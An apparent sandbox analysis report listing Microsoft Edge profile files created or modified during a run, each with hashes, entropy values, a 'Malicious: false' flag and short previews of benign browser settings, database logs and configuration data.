Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4fd22e79-26b6-4c96-9800-6695f4254302.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.560953822993402
Encrypted:	false
SSDEEP:	768:w4F61iWcn7pLGLpWoW5w6Af41X8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP2/YfIolN:wyaiXhcpWoWa6Af+Xu1ja//YlaSImCI3
MD5:	B70B385E23B136718330F43471FD37F7
SHA1:	A78727A2238931886A0A9E8363EFEAA33209B492
SHA-256:	65AFD640AFADC63765184612A9E72A75D4B0F21879D464171F6E5845A29D4942
SHA-512:	1BD9993A30C4F94E8CB842A4752B1AEF2EE2967E05A93817FABDC292B770D01917B0B4B24F99757BE0C5D2C425F5B8E26E68E1A03F92C4EA572E0D81F5EF8F56
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375888524379073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375888524379073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\626f24ae-0260-4225-808a-11ecbfe98523.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17540), with no line terminators
Category:	dropped
Size (bytes):	17540
Entropy (8bit):	5.477483643290383
Encrypted:	false
SSDEEP:	192:stGJ99QTryDiuabatSuyphs9taFvrEy7l2kGrayNt/5gKLklqlgU2E38QbV+FwOz:stGPGQSu4hs9tCDL7iHOYtTbGJQwko3j
MD5:	3060AB2D1A4F70739E1AC4FEB9CDC2DD
SHA1:	616AB38B447B03BD82748CAAF650660A69B3CEE5
SHA-256:	C23F054270FF381E171B0E5CEDC4BBD614B746B125E2BE8B620F9DE147B3DF82
SHA-512:	23A84C5CE9F69145BC20D899D388BDBD1CA3248E33C0362334C9415560F0FDA2D67CD261ED8EC712D29C0C0954E20805C1F02F7953CC25A1C5823A879E4FD255
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8049f79c-008c-4a17-bb10-e256cfa824cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	739855
Entropy (8bit):	7.212335194702943
Encrypted:	false
SSDEEP:	12288:Rq1f5g+/pasT721JH7SgyIhkNEqeyZ/CSCqEzz5SaOP6Hc/3:q5gypasTWt7SgyfNEq1Z/jvQzEa323
MD5:	1830D0BCF02B8BC8DF9264E47AE2DBAF
SHA1:	CCBA4C21B356C3FDB4FEEE564E8EE6E2F624B32E
SHA-256:	E09A203F0334689C9CDC6FC1CF1FC6C87A539E60E422A7A46D721D0409A0E721
SHA-512:	7CDC85D1D3FD33E37AAA5381EB514D800DD509039B07BA9A824F38B53926F1185C3FF5201F6F98DD14B92C8E18ED82B4984190D42A1AAC3706B49BC64AE46EA3
Malicious:	false
Preview:	....^.'..ASSET:addressbar_uu_files.en-gb........{. "0123movies.com": "{\"Tier1\": [983, 6061], \...2..L4948, 1106, 9972]}",.QL1020398.app.netsuiteR[.@6061, 8405, 5938]6b..228, 236.Z.337x.toB...J.983:C.86657, 475, 4068.JX2cvresearch.decipherincR....:X. 379, 6101.R<3817341.extforms....774..L3cx.integrafin.co.ukB.....,N.. 2863, 539...4540582....[:..1.., 6..P7589.directpaper.nameR..:Q.9I`7a201srvitportl.cymru.nhsN..:F..9870.J.03cjsvmifitla1vJ.AC:N..109]..7.N.livwebbvN..1a.JS...., 9813.. 8ballpoolV~. 741, 3907.8>...9151, 57E..91]5 9anime.gsB~.F'.,574, 485, 76....D.pl.D..?., 160=..EJ..:o....166V...gagR ..3939..>..<378, 44, 1780, 1....8a.leaguerepubliV..)u!.:...676, 899...aad.A..al.azur~..:Q..53...23.. 915, 8133...2}..aat.rm...isR..:W..223...42].Dabc-enviro.tascomiRJ..884>...40!N$4662, 5849=N4bdn.blackboardRQ..7670....:...80..$1240, 3047.].Terdeenshire.sharepointRf..5938.f.214Be..0...30}~.abmwapv..R..!..7662[..mwczK..14>.......cacd...mBt.J...117...(cademic.oupR..)..834AbF...246e)..!..q...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222871753909158
Encrypted:	false
SSDEEP:	24576:IbPMZpVxfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVxfx2mjF
MD5:	F856D41F8E43C891AB499953B8B9117D
SHA1:	57EDDF33ABE22CAA6B8456243246CE9FC5832C9B
SHA-256:	867583216C6762624AF8C02161B41A0568200BF7B270B86A803A66E33B7C0D0A
SHA-512:	06031963EF841E24635FDA976F250F9D601FB2CB45BC2E048E589A41E2F33D085CE97EC39E2E61F26203A61E54138C07149B7708261F33B2D1C3EC8A8ED4B766
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.137913655359773
Encrypted:	false
SSDEEP:	6:HU4sWd239+q2PN723oH+Tcwt9Eh1tIFUt8YU4sWdSW9JZmw+YU4sWdpQf0PXU4sj:FdfvVaYeb9Eh16FUt8IdSWH/+IdpBddY
MD5:	82A00FA7B9666094F4266D291A3DAA6E
SHA1:	61818B1D49FFD221CA9BCC6FF6AABF31E60E64BC
SHA-256:	7F052A1A9910838D32EFC3501203C1ED340DE8E53659FBDF1989CC89B00FA84A
SHA-512:	FAFF3B0893E90B50C673EAF23792C6B47DEEB959EE91764A997421EF5EC1378E12B143AB9D506D5A0013F22C30F7914E74B5BBE92F1586706FB89D277FC29AD2
Malicious:	false
Preview:	2024/11/12-07:38:29.839 1308 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-07:38:29.841 1308 Recovering log #3.2024/11/12-07:38:29.867 1308 Level-0 table #3: started.2024/11/12-07:38:29.911 1308 Level-0 table #3: 739855 bytes OK.2024/11/12-07:38:29.919 1308 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.137913655359773
Encrypted:	false
SSDEEP:	6:HU4sWd239+q2PN723oH+Tcwt9Eh1tIFUt8YU4sWdSW9JZmw+YU4sWdpQf0PXU4sj:FdfvVaYeb9Eh16FUt8IdSWH/+IdpBddY
MD5:	82A00FA7B9666094F4266D291A3DAA6E
SHA1:	61818B1D49FFD221CA9BCC6FF6AABF31E60E64BC
SHA-256:	7F052A1A9910838D32EFC3501203C1ED340DE8E53659FBDF1989CC89B00FA84A
SHA-512:	FAFF3B0893E90B50C673EAF23792C6B47DEEB959EE91764A997421EF5EC1378E12B143AB9D506D5A0013F22C30F7914E74B5BBE92F1586706FB89D277FC29AD2
Malicious:	false
Preview:	2024/11/12-07:38:29.839 1308 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-07:38:29.841 1308 Recovering log #3.2024/11/12-07:38:29.867 1308 Level-0 table #3: started.2024/11/12-07:38:29.911 1308 Level-0 table #3: 739855 bytes OK.2024/11/12-07:38:29.919 1308 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF6618b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.137913655359773
Encrypted:	false
SSDEEP:	6:HU4sWd239+q2PN723oH+Tcwt9Eh1tIFUt8YU4sWdSW9JZmw+YU4sWdpQf0PXU4sj:FdfvVaYeb9Eh16FUt8IdSWH/+IdpBddY
MD5:	82A00FA7B9666094F4266D291A3DAA6E
SHA1:	61818B1D49FFD221CA9BCC6FF6AABF31E60E64BC
SHA-256:	7F052A1A9910838D32EFC3501203C1ED340DE8E53659FBDF1989CC89B00FA84A
SHA-512:	FAFF3B0893E90B50C673EAF23792C6B47DEEB959EE91764A997421EF5EC1378E12B143AB9D506D5A0013F22C30F7914E74B5BBE92F1586706FB89D277FC29AD2
Malicious:	false
Preview:	2024/11/12-07:38:29.839 1308 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-07:38:29.841 1308 Recovering log #3.2024/11/12-07:38:29.867 1308 Level-0 table #3: started.2024/11/12-07:38:29.911 1308 Level-0 table #3: 739855 bytes OK.2024/11/12-07:38:29.919 1308 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354176788967227
Encrypted:	false
SSDEEP:	6144:yA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:yFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C9ED2ADCD1F0F4EE74B4162CEB9899E3
SHA1:	979354A360D43F190989F6951687D985ACE0500F
SHA-256:	3DF7556D9DC03D09ABA111A7B029D5BA25581D7384B841668CD9AFD720201548
SHA-512:	444AEB5DCEE1731C5FED6AE1E2BB150313F1A36075CAB9297D112D9B9D8274A390EBC00424DC03E15C2656FBAE04D33581774039D3B3573C538323FC4DAE76A4
Malicious:	false
Preview:	...m.................DB_VERSION.1..q...............&QUERY_TIMESTAMP:domains_config_gz2...13375888530943687..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.135074861467226
Encrypted:	false
SSDEEP:	6:HU4sWNLms1N723oH+Tcwtk2WwnvB2KLlVU4sWNpM+q2PN723oH+Tcwtk2WwnvIF2:FNLxaYebkxwnvFLdNi+vVaYebkxwnQF2
MD5:	14633C82D3CAB161B33E03805F010F5C
SHA1:	4E9468C61EB44916CA15ABB498EBCEA7840BB2A3
SHA-256:	66D8E7D8CE77A1B6A099C8DE94FC8D0BF980BC375142A0EC37755887C0A2ACA8
SHA-512:	162CA9FE631574BA63116E30B6EA84C7A6A592199E081B52797CBA6736E0673B9FA5F4E46E80E772ED315AAAFAD523ADA849328FF672B10E3F6B6B111EDC3D59
Malicious:	false
Preview:	2024/11/12-07:35:30.043 211c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/12-07:35:30.066 211c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611944556422
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RO:C1gAg1zfvm
MD5:	081EBD635567C1AB0F864DC666654500
SHA1:	6177B0343719F0D1180D391320910885A39BA6DA
SHA-256:	5C743147F7D5996E0B2FA565565239B944690ED522B213B510E895F6A58496B8
SHA-512:	799A44C5E360CEC66060A73ACA8DA6DC3FDCE810200A847CAF4EC5FF4E2ADAF8908FD5D2D764EF7FF2FE2CE5EEFC16DF942B1A794A9AA8DD552E270428E98F2B
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4163abde-9904-4e58-b214-c613a4eb5ed6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
